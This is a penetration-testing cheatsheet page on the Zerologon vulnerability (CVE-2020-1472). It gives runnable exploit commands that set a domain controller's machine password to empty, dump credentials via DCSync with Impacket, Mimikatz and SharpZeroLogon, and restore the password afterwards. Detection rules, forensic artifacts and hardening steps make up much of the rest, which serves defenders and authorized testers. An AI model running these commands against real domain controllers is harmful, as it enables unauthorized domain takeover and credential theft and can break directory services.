daemon-sec-cheatsheet

attack-40-zerologon-cve-2020-1472.md (22422B)

---

 ---
 title: "Attack #40 — Zerologon (CVE-2020-1472)"
 description: "Zerologon is a critical vulnerability in the Netlogon Remote Protocol (MS-NRPC) that allows an unauthenticated attacker with network access to a DC to set…"
 category: active-directory
 subcategory: "Domain Controller Attacks"
 tags: ["active-directory"]
 tools: ["NetExec", "Impacket", "Mimikatz", "PowerShell"]
 difficulty: advanced
 updated: "2026-08-10"
 source: "vault:ActiveDirectory/AD-Attack/Category-Five/🔵 Attack #40 — Zerologon (CVE-2020-1472).md"
 ---
 # 🔵 Attack #40 — Zerologon (CVE-2020-1472)
 
 ***
 
 ## 📖 How It Works
 
 Zerologon is a **critical vulnerability in the [Netlogon Remote Protocol (MS-NRPC)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/)** that allows an **unauthenticated attacker** with network access to a DC to **set the DC machine account password to empty** — effectively gaining Domain Admin access. The cryptographic flaw is in the AES-CFB8 initialization vector: by sending all-zero client challenges, there's a 1/256 chance the session key becomes all zeros, which the attacker can predict.
 
 **CVSS Score: 10.0** — Full unauthenticated domain compromise.
 
 > [!info]+ Technical Deep-Dive — AES-CFB8 Cryptographic Flaw
 > 1. The [Netlogon protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/) uses **AES-CFB8** mode to compute a session key during the `NetrServerAuthenticate3` handshake between a client and a DC
 > 2. In AES-CFB8, the **Initialization Vector (IV)** should be random — but the Netlogon implementation uses a **fixed all-zero IV** (`ComputeNetlogonCredential` function)
 > 3. When the **client challenge** is also all zeros, the `ComputeNetlogonCredential` function produces an all-zero session credential with probability **1/256** (~0.39%)
 > 4. The attacker sends up to 256 authentication attempts with all-zero challenges — statistically, one will succeed and produce an all-zero session key
 > 5. With the known (all-zero) session key, the attacker calls `NetrServerPasswordSet2` to **set the DC machine account password to empty**
 > 6. *The DC machine account (`DC01$`) is now set to an empty password, allowing the attacker to authenticate as the DC and perform DCSync (Attack #37)*
 > 7. **Critical**: Setting the DC machine password to empty **breaks AD replication** and trust relationships — the password MUST be restored immediately after exploitation
 
 > [!danger]+ Destructive Attack Warning
 > `fas:Skull`
 > 1. Zerologon **BREAKS the DC** if the machine password is not restored — AD replication, trust relationships, SYSVOL replication, and domain services will fail
 > 2. This is a **"break glass" attack** — only use in time-constrained engagements with explicit authorization
 > 3. **Always restore the DC machine password immediately after exploitation**
 > 4. *In a real engagement, have the restore commands ready BEFORE running the exploit*
 
 ***
 
 ## ⚙️ Prerequisites
 
 | Requirement | Detail |
 |---|---|
 | **Network access to DC (port 135/445)** | No credentials required — fully unauthenticated |
 | **DC is unpatched** | Patched in August 2020 ([KB4565349](https://support.microsoft.com/en-us/help/4565349)) |
 | **DC hostname known** | Required for the NetBIOS name in the Netlogon handshake |
 
 ***
 
 ## 🛠️ Tools
 
 | Tool | Platform | Version | Notes |
 |---|---|---|---|
 | [zerologon_tester.py](https://github.com/SecuraBV/CVE-2020-1472) | Linux/Python | Python 3 | Secura's original vulnerability checker — safe, non-destructive |
 | [cve-2020-1472-exploit.py](https://github.com/dirkjanm/CVE-2020-1472) | Linux/Python | Python 3 | dirkjanm's exploit — sets DC machine password to empty |
 | [Mimikatz](https://github.com/gentilkiwi/mimikatz) | Windows | ≥ 2.2.0 (Sep 2020+) | `lsadump::zerologon` — Windows-native exploit |
 | [SharpZeroLogon](https://github.com/nccgroup/nccfsas) | Windows (.NET) | Latest | C# exploit for C2 `execute-assembly` — NCC Group |
 | [Impacket — secretsdump.py](https://github.com/fortra/impacket) | Linux | ≥ 0.9.22 | DCSync using the emptied DC machine account |
 | [NetExec](https://github.com/Pennyw0rth/NetExec) | Linux | ≥ 1.1.0 | `-M zerologon` vulnerability check module |
 | [reinstall.py / restorepassword.py](https://github.com/dirkjanm/CVE-2020-1472) | Linux/Python | Python 3 | Restore the DC machine password after exploitation |
 
 ***
 
 ## ⏱️ Time-to-Execute Estimates
 
 | Operation | Time | Notes |
 |---|---|---|
 | Vulnerability check | **5–30 seconds** | Up to 256 Netlogon attempts |
 | Exploit (set password to empty) | **5–30 seconds** | Same 1/256 probability, ~2000 attempts max |
 | DCSync with empty hash | **10–60 seconds** | Standard DCSync timing |
 | Password restore | **5–15 seconds** | Critical — must be done immediately |
 | **Total attack chain** | **30–120 seconds** | From unauthenticated → full domain compromise |
 
 ***
 
 ## 💻 Full Commands
 
 ### 🔵 Check Vulnerability
 
 ```bash
 # ── zerologon_tester.py (safe — does NOT exploit) ────────────────────────────
 python3 zerologon_tester.py DC01 10.10.10.10
 # Output: "DC01 is VULNERABLE" or "not vulnerable"
 
 # ── NetExec module (also safe) ────────────────────────────────────────────────
 nxc smb DC01.corp.local -u '' -p '' -M zerologon
 # Output: [+] VULNERABLE or [-] not vulnerable
 ```
 
 ### 🔴 Exploit — Set DC Password to Empty
 
 ```bash
 # ── dirkjanm exploit (Linux) ─────────────────────────────────────────────────
 python3 cve-2020-1472-exploit.py DC01 10.10.10.10
 # Sets DC01$ machine account password to empty string
 # ⚠️ WARNING: This BREAKS the DC — restore password immediately after DCSync
 
 # ── DCSync with empty password ────────────────────────────────────────────────
 secretsdump.py -just-dc-user krbtgt corp.local/'DC01$'@DC01.corp.local \
   -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
 # 31d6cfe0d16ae931b73c59d7e0c089c0 = empty password NT hash
 
 # ── Dump all hashes ───────────────────────────────────────────────────────────
 secretsdump.py corp.local/'DC01$'@DC01.corp.local \
   -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc -outputfile zerologon_dump
 
 # ── Dump Administrator hash specifically (for next steps) ─────────────────────
 secretsdump.py corp.local/'DC01$'@DC01.corp.local \
   -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
   -just-dc-user Administrator
 ```
 
 #### Mimikatz (Windows)
 
 ```powershell
 # ── Mimikatz zerologon exploit ────────────────────────────────────────────────
 privilege::debug
 lsadump::zerologon /target:DC01.corp.local /account:DC01$
 # Exploits CVE-2020-1472 and sets machine password to empty
 
 # ── Then DCSync with the zeroed credentials ───────────────────────────────────
 lsadump::dcsync /domain:corp.local /dc:DC01.corp.local /user:krbtgt /authuser:DC01$ /authdomain:corp.local /authpassword:"" /authntlm
 ```
 
 #### SharpZeroLogon (C# — for C2)
 
 ```powershell
 # ── Via Cobalt Strike / Sliver ────────────────────────────────────────────────
 execute-assembly /path/to/SharpZeroLogon.exe DC01.corp.local
 # Exploits and dumps the DC machine account hash
 ```
 
 ### 🔴 Restore DC Password (CRITICAL — Must Do)
 
 ```bash
 # ── Step 1: Get the original DC machine password hash from the dump ───────────
 # Look for DC01$ in the zerologon_dump.ntds file:
 # corp.local\DC01$:1001:aad3b435b51404eeaad3b435b51404ee:<ORIGINAL_HASH>:::
 
 # ── Step 2: Get Administrator hash for authentication ─────────────────────────
 secretsdump.py corp.local/Administrator@DC01.corp.local \
   -hashes :<admin_NT_hash> -just-dc-user 'DC01$'
 
 # ── Step 3: Restore DC machine password ───────────────────────────────────────
 python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.10 \
   -hexpass <original_hex_password>
 
 # ── Alternative: reinstall.py ─────────────────────────────────────────────────
 python3 reinstall.py DC01 -target-ip 10.10.10.10 \
   -hexhash <original_dc_hash>
 
 # ── Verify restoration ────────────────────────────────────────────────────────
 # Try to authenticate as DC01$ with the original hash:
 nxc smb DC01.corp.local -u 'DC01$' -H <original_dc_hash>
 # Should succeed → password restored
 
 # ⚠️ WARNING: If DC password is not restored, AD replication will BREAK
 # The DC will lose trust relationship with other DCs
 ```
 
 > [!danger]+ Password Restoration is NOT Optional
 > `fas:Skull`
 > 1. Failing to restore the DC machine password will cause: **AD replication failure**, **trust relationship breakage**, **SYSVOL replication failure**, **Group Policy processing failure**
 > 2. The restoration must happen **within minutes** — the longer you wait, the more damage occurs as other DCs try to replicate
 > 3. If restoration fails, the only recovery option may be **restoring the DC from backup**
 > 4. *Always have the restore commands prepared and tested BEFORE exploiting Zerologon*
 
 ***
 
 ## 🎯 OPSEC Tips
 
 1. **Zerologon BREAKS the DC** if password is not restored — replication, trust relationships, and services will fail
 2. **This is a "break glass" attack** — only use if you're in a time-constrained engagement
 3. **Patched since August 2020** — but legacy DCs may still be vulnerable
 4. **Always restore the DC password after exploitation**
 5. **The exploit generates ~256 failed authentication attempts** — these are logged as Event 5805 (Netlogon authentication failure) and are highly anomalous
 6. **Execute and restore within 2–3 minutes** — minimize the window where the DC has an empty password
 7. **Test the restore procedure first** on a lab environment — a failed restore in production is catastrophic
 
 ### 📊 OpSec Ranking
 
 | Method | Stealth | Speed | Reliability | Notes |
 |---|---|---|---|---|
 | dirkjanm Python exploit | 🔴 Low | 🟢 Fast | 🟢 High | 256 failed auth attempts are very noisy |
 | Mimikatz zerologon | 🔴 Low | 🟢 Fast | 🟢 High | Same noise + Mimikatz on disk |
 | SharpZeroLogon | 🔴 Low | 🟢 Fast | 🟡 Medium | In-memory but still generates Netlogon noise |
 
 > [!warning]+ Noise Profile
 > `fas:TriangleExclamation`
 > 1. Zerologon is **extremely noisy** — up to 2000 Netlogon authentication attempts in seconds
 > 2. Any environment with basic Netlogon monitoring will detect this immediately
 > 3. The attack is not stealthy and should only be used as a last resort or in time-constrained CTF/exam scenarios
 > 4. *If stealth matters, prefer other escalation paths like Kerberoasting (Attack #2) or ACL abuse (Attack #65)*
 
 ***
 
 ## 🛡️ Detection — Event IDs
 
 | Event ID | Source | What to Look For |
 |---|---|---|
 | **4742** | Security Log (DC) | Computer account password change (DC01$ password set) |
 | **5805** | System Log (DC) | Netlogon authentication failure (from exploit attempts — expect 100+ in seconds) |
 | **4624** | Security Log (DC) | Logon with nullified DC credentials (Type 3 with DC01$ account) |
 | **5829** | System Log (DC) | Vulnerable Netlogon secure channel connection allowed (post-patch, if enforcement not enabled) |
 
 ### 🔎 Sigma Rules
 
 ```yaml
 # ── SigmaHQ — Zerologon Exploitation Attempt ─────────────────────────────────
 title: Zerologon (CVE-2020-1472) Exploitation Attempt
 id: b1e5a3f0-7c52-4f3a-9e0a-3b4c5d6e7f8a
 status: stable
 logsource:
   product: windows
   service: system
 detection:
   selection:
     EventID: 5805
   timeframe: 1m
   condition: selection | count() > 50
 level: critical
 tags:
   - attack.privilege_escalation
   - attack.t1210
   - cve.2020.1472
 ```
 
 ```yaml
 # ── SigmaHQ — DC Machine Account Password Change ─────────────────────────────
 title: DC Machine Account Password Reset (Zerologon Indicator)
 id: a2b3c4d5-zerologon-dc-password-change
 logsource:
   product: windows
   service: security
 detection:
   selection:
     EventID: 4742
     TargetUserName|endswith: '$'
   keywords:
     PasswordLastSet: '*'
   condition: selection
 level: high
 ```
 
 ### 🛡️ EDR-Specific Detections
 
 > [!warning]+ Microsoft Defender for Identity (MDI)
 > 1. **"Suspected Zerologon exploitation (CVE-2020-1472)"** — high-fidelity alert triggered by anomalous Netlogon authentication patterns
 > 2. MDI detects the characteristic burst of failed Netlogon authentications followed by a successful authentication with an all-zero session key
 > 3. **Immediate alert** — MDI classifies this as critical severity with automatic incident creation
 
 > [!warning]+ CrowdStrike Falcon
 > 1. **"Zerologon Exploitation Detected"** — network-level detection for MS-NRPC manipulation
 > 2. Falcon correlates Netlogon RPC traffic patterns with CVE-2020-1472 signatures
 > 3. Process tree analysis for exploit tools (Python scripts, SharpZeroLogon)
 
 > [!warning]+ Elastic Security
 > 1. Rule: **"Potential Zerologon Attack (CVE-2020-1472)"** — detects burst of Event 5805 entries
 > 2. Rule: **"DC Machine Account Password Change"** — correlates Event 4742 with DC machine accounts
 > 3. *Requires Windows Event Forwarding of System and Security logs from DCs*
 
 ***
 
 ## 🔬 Forensic Artifacts
 
 | Artifact | Location | Details |
 |---|---|---|
 | **Event 5805 burst** | DC System Log | 100–2000+ Netlogon authentication failures in a few seconds — pathognomonic for Zerologon |
 | **Event 4742** | DC Security Log | DC machine account password change — timestamp marks exploitation |
 | **Event 4624** | DC Security Log | Network logon with DC01$ using empty/zeroed credentials |
 | **Event 5829** | DC System Log | Post-patch: vulnerable Netlogon connection allowed (if enforcement not enabled) |
 | **Network capture** | PCAP | MS-NRPC `NetrServerAuthenticate3` calls with all-zero client challenges; `NetrServerPasswordSet2` call |
 | **AD attribute** | `pwdLastSet` on DC$ account | Timestamp of password change — matches exploitation time |
 
 ***
 
 > [!important]+ Windows Server Version & Patch Timeline
 > 1. **August 2020**: Initial patch released (KB4565349 for Server 2012 R2/2016/2019) — "Phase 1" allows vulnerable connections with Event 5829 warning
 > 2. **February 2021**: "Phase 2" enforcement — DCs reject vulnerable Netlogon connections by default (registry `FullSecureChannelProtection = 1`)
 > 3. **Server 2012 R2**: Vulnerable if unpatched; patch available but may not be installed on legacy systems
 > 4. **Server 2016**: Vulnerable if unpatched; check `FullSecureChannelProtection` registry key
 > 5. **Server 2019**: Vulnerable if unpatched; same patch timeline
 > 6. **Server 2022**: Shipped with the fix included — NOT vulnerable out of the box
 > 7. **Server 2025**: NOT vulnerable — Netlogon secure channel enforcement is default
 > 8. *In practice, Zerologon is only exploitable on DCs that have been unpatched for 3+ years — but legacy environments still exist*
 
 ***
 
 ## 🔒 Hardening & Prevention
 
 ```powershell
 # ── 1. Verify patch is installed ──────────────────────────────────────────────
 Get-HotFix | Where-Object { $_.HotFixID -match 'KB4565349|KB4571694|KB4577015|KB4580325' }
 # If empty, the DC is potentially vulnerable — patch immediately
 
 # ── 2. Enable enforcement mode (block vulnerable connections) ─────────────────
 # Registry key (should be set after Feb 2021 update):
 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
   -Name "FullSecureChannelProtection" -Value 1 -Type DWord
 # Value 1 = enforce secure channel (reject vulnerable connections)
 # Value 0 = allow vulnerable connections (NOT recommended)
 
 # ── 3. Monitor for vulnerable Netlogon connections (Event 5829) ───────────────
 # After patching but before enforcement, monitor Event 5829:
 # This event indicates a device connected using a vulnerable Netlogon secure channel
 # Identify and update/patch these devices before enabling enforcement
 
 # ── 4. GPO — Deploy patch and enforcement domain-wide ─────────────────────────
 # Computer Configuration → Policies → Admin Templates → System → Netlogon →
 #   ✅ "Enforce use of secure RPC for Netlogon secure channel connections" = Enabled
 
 # ── 5. Monitor Netlogon authentication failures ──────────────────────────────
 # Alert on Event 5805 burst: >50 events in 60 seconds = Zerologon attempt
 # Configure SIEM alert:
 # source=WinEventLog:System EventCode=5805 | timechart span=1m count | where count > 50
 
 # ── 6. Network-level mitigation ──────────────────────────────────────────────
 # Block port 135/445 access to DCs from untrusted network segments
 # Only allow domain-joined machines and admin workstations to reach DC RPC ports
 
 # ── 7. Upgrade legacy DCs ────────────────────────────────────────────────────
 # Server 2008/2008 R2 reached end-of-life and DOES have a Zerologon patch,
 # but upgrading to Server 2019+ is strongly recommended
 ```
 
 ***
 
 ## 🧩 Troubleshooting
 
 | Error | Cause | Fix |
 |---|---|---|
 | `DC01 is NOT VULNERABLE` | DC is patched or enforcement mode is enabled | Verify patch status; check `FullSecureChannelProtection` registry; look for other attack paths |
 | Exploit succeeds but DCSync fails | Empty password hash is wrong or DC has additional auth requirements | Use exact hash `31d6cfe0d16ae931b73c59d7e0c089c0` (empty NT hash); ensure you're using `DC01$` (with dollar sign) |
 | `STATUS_ACCESS_DENIED` on secretsdump | Authentication issue after password reset | Verify you're authenticating as `DC01$` (machine account, not `DC01` user); use `-hashes :31d6cfe0...` syntax |
 | Password restore fails | Original hex password not available or connection issues | Extract `DC01$` hash from the DCSync dump BEFORE restoring; if lost, may need DC restore from backup |
 | AD replication broken after exploit | DC machine password was empty too long; trust relationships broken | Restore password immediately; if replication doesn't recover, run `repadmin /syncall /AeD`; worst case: demote and re-promote the DC |
 | Exploit hangs / no response | Firewall blocking MS-NRPC traffic or wrong IP | Verify TCP 135/445 connectivity to DC; ensure target IP is the DC, not a load balancer |
 | Multiple DCs in domain — which to target? | Need to target a specific DC | Choose the PDC Emulator (owns FSMO roles): `nxc smb DC01 -u '' -p '' -M zerologon`; or try each DC |
 | Post-patch: Event 5829 appearing | Legacy devices using vulnerable Netlogon connections | Identify and update the device shown in Event 5829 before enabling enforcement mode |
 
 ***
 
 ## 🗺️ MITRE ATT&CK
 
 | Tactic | Technique ID | Sub-technique | Procedure | APT Groups |
 |---|---|---|---|---|
 | **Privilege Escalation** | [T1068](https://attack.mitre.org/techniques/T1068/) | Exploitation for Privilege Escalation | Exploit CVE-2020-1472 to reset DC machine password and gain DA-equivalent access | [MERCURY/MuddyWater](https://attack.mitre.org/groups/G0069/), [DEV-0537 (LAPSUS$)](https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/) |
 | **Lateral Movement** | [T1210](https://attack.mitre.org/techniques/T1210/) | Exploitation of Remote Services | Unauthenticated exploitation of MS-NRPC to compromise the Domain Controller | Iranian APT groups, ransomware operators |
 | **Credential Access** | [T1003](https://attack.mitre.org/techniques/T1003/) | [.006 — DCSync](https://attack.mitre.org/techniques/T1003/006/) | After zeroing DC password, perform DCSync to extract all domain credentials | Chained technique |
 
 > [!tip]+ Real-World APT Usage
 > `fas:Lightbulb`
 > 1. **MERCURY/MuddyWater (Iranian APT)** — Used Zerologon in 2020-2021 campaigns against government and telecom targets
 > 2. **LAPSUS$ (DEV-0537)** — Leveraged Zerologon against legacy DCs in high-profile breaches of major tech companies
 > 3. **Multiple ransomware groups** (Ryuk, Conti, LockBit) incorporated Zerologon into automated domain compromise playbooks — if DC is unpatched, exploit → DCSync → deploy ransomware
 > 4. *CISA issued Emergency Directive 20-04 requiring all federal agencies to patch Zerologon within 4 days — an unprecedented urgency level*
 
 ***
 
 ## 🔗 Attack Chain Context
 
 ```
 [Zerologon] ──→ Unauthenticated Domain Compromise
          │
          ├──→ 💥 CVE-2020-1472 — CVSS 10.0
          ├──→ 🔓 No creds needed → set DC password to null → DCSync (Attack #37)
          ├──→ 🎫 DCSync KRBTGT → Golden Ticket (Attack #11)
          ├──→ 💻 DCSync Administrator → Pass-the-Hash (Attack #4)
          ├──→ ⚠️ DESTRUCTIVE — must restore DC password immediately
          ├──→ 🔗 Compare: noPAC (Attack #44) — also low-priv → DA, but requires auth
          └──→ 💀 Defeated by: August 2020 patches, enforce secure channel signing
 ```
 
 ***
 
 > ✅ **Attack #40 — Zerologon complete.**